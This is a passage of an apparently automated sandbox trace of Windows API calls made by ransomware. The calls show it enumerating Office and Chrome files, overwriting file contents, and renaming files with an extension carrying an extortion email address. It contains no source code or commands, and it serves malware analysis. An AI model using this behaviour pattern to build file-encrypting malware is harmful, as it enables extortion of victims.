RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x7b7ca87b [0171.997] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x314d0c47 [0171.997] RtlRandomEx (in: Seed=0x7b2fe10 | out: Seed=0x7b2fe10) returned 0x261188a2 [0172.010] ReadFile (hFile=0x840, lpBuffer=0x12d92910, nNumberOfBytesToRead=0x4454, lpNumberOfBytesRead=0x7b2fe00, lpOverlapped=0x0) [0172.012] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.012] WriteFile (in: hFile=0x840, lpBuffer=0x12c77e00*, nNumberOfBytesToWrite=0x4454, lpNumberOfBytesWritten=0x7b2fdfc, lpOverlapped=0x0 | out: lpBuffer=0x12c77e00*, lpNumberOfBytesWritten=0x7b2fdfc*=0x4454, lpOverlapped=0x0) returned 1 [0172.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d28 [0172.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9990 [0172.267] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9990) returned 1 [0172.267] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77e00) returned 1 [0172.271] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0172.272] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c4b8) returned 1 [0172.272] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0172.272] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x39) returned 0x8d2938 [0172.272] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.272] WriteFile (in: hFile=0x840, lpBuffer=0x92e3b8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x7b2fe64, lpOverlapped=0x0 | out: lpBuffer=0x92e3b8*, lpNumberOfBytesWritten=0x7b2fe64*=0x11d, lpOverlapped=0x0) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92e3b8) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9990) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d28) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0172.274] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945640) returned 1 [0172.274] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x186) returned 0x8f6ea0 [0172.274] wcscpy (in: _Dest=0x8f6ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" [0172.274] wcscat (in: _Dest=0x8f6ea0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d" [0172.274] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7b2fe1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0172.274] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x909c70 Thread: id = 6403 os_tid = 0x1cc4 [0171.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0171.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", dwFileAttributes=0x20) returned 0 [0171.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.870] GetLastError () returned 0x5 [0171.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", dwFileAttributes=0x20) returned 0 [0171.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51408) returned 1 Thread: id = 6404 os_tid = 0x1cc8 [0171.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0171.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", dwFileAttributes=0x20) returned 0 [0171.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.871] GetLastError () returned 0x5 [0171.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", dwFileAttributes=0x20) returned 0 [0171.871] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b73a0) returned 1 Thread: id = 6405 os_tid = 0x1ccc [0171.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0171.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", dwFileAttributes=0x20) returned 0 [0171.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.873] GetLastError () returned 0x5 [0171.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", dwFileAttributes=0x20) returned 0 [0171.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7b98) returned 1 Thread: id = 6429 os_tid = 0x1d28 [0172.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif")) returned 0x20 [0172.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0172.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.058] GetLastError () returned 0x5 [0172.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0172.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7400) returned 1 Thread: id = 6430 os_tid = 0xf6c [0172.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif")) returned 0x20 [0172.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0172.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.060] GetLastError () returned 0x5 [0172.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0172.060] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90a8) returned 1 Thread: id = 6431 os_tid = 0xf70 [0172.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif")) returned 0x20 [0173.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif", dwFileAttributes=0x20) returned 0 [0173.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.592] GetLastError () returned 0x5 [0173.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif", dwFileAttributes=0x20) returned 0 [0173.592] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496648) returned 1 Thread: id = 6432 os_tid = 0xe38 [0172.061] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dcd30 [0172.061] wcscpy (in: _Dest=0x8dcd30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0172.061] wcscat (in: _Dest=0x8dcd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0172.061] wcscat (in: _Dest=0x8dcd30, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*" [0172.061] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9696c8 [0172.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b1f8 [0173.154] wcscmp (_String1=".", _String2=".") returned 0 [0173.154] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.154] wcscmp (_String1="..", _String2=".") returned 1 [0173.154] wcscmp (_String1="..", _String2="..") returned 0 [0173.154] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0173.154] wcscmp (_String1="Attachments.jpg", _String2=".") returned 1 [0173.154] wcscmp (_String1="Attachments.jpg", _String2="..") returned 1 [0173.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0xd4bbff8 [0173.154] wcscpy (in: _Dest=0xd4bbff8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.154] wcscat (in: _Dest=0xd4bbff8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.154] wcscat (in: _Dest=0xd4bbff8, _Source="Attachments.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" [0173.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548 [0173.861] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREAK.JPG", cAlternateFileName="")) returned 1 [0173.861] wcscmp (_String1="BREAK.JPG", _String2=".") returned 1 [0173.861] wcscmp (_String1="BREAK.JPG", _String2="..") returned 1 [0173.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x93ff98 [0173.861] wcscpy (in: _Dest=0x93ff98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.861] wcscat (in: _Dest=0x93ff98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.861] wcscat (in: _Dest=0x93ff98, _Source="BREAK.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" [0173.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ff98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0173.862] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.JPG", cAlternateFileName="")) returned 1 [0173.862] wcscmp (_String1="BUTTON.JPG", _String2=".") returned 1 [0173.862] wcscmp (_String1="BUTTON.JPG", _String2="..") returned 1 [0173.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x93fdc8 [0173.863] wcscpy (in: _Dest=0x93fdc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.863] wcscat (in: _Dest=0x93fdc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.863] wcscat (in: _Dest=0x93fdc8, _Source="BUTTON.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" [0173.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fdc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0173.867] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKBOX.JPG", cAlternateFileName="")) returned 1 [0173.867] wcscmp (_String1="CHECKBOX.JPG", _String2=".") returned 1 [0173.867] wcscmp (_String1="CHECKBOX.JPG", _String2="..") returned 1 [0173.867] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x940338 [0173.867] wcscpy (in: _Dest=0x940338, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.867] wcscat (in: _Dest=0x940338, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.867] wcscat (in: _Dest=0x940338, _Source="CHECKBOX.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" [0173.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28 [0173.869] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMBOBOX.JPG", cAlternateFileName="")) returned 1 [0173.869] wcscmp (_String1="COMBOBOX.JPG", _String2=".") returned 1 [0173.869] wcscmp (_String1="COMBOBOX.JPG", _String2="..") returned 1 [0173.869] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x940420 [0173.869] wcscpy (in: _Dest=0x940420, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.869] wcscat (in: _Dest=0x940420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.869] wcscat (in: _Dest=0x940420, _Source="COMBOBOX.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" [0173.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0173.870] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x36bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.JPG", cAlternateFileName="")) returned 1 [0173.870] wcscmp (_String1="CONTACT.JPG", _String2=".") returned 1 [0173.870] wcscmp (_String1="CONTACT.JPG", _String2="..") returned 1 [0173.870] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x940508 [0173.870] wcscpy (in: _Dest=0x940508, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.870] wcscat (in: _Dest=0x940508, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.870] wcscat (in: _Dest=0x940508, _Source="CONTACT.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" [0173.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4 [0173.877] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, 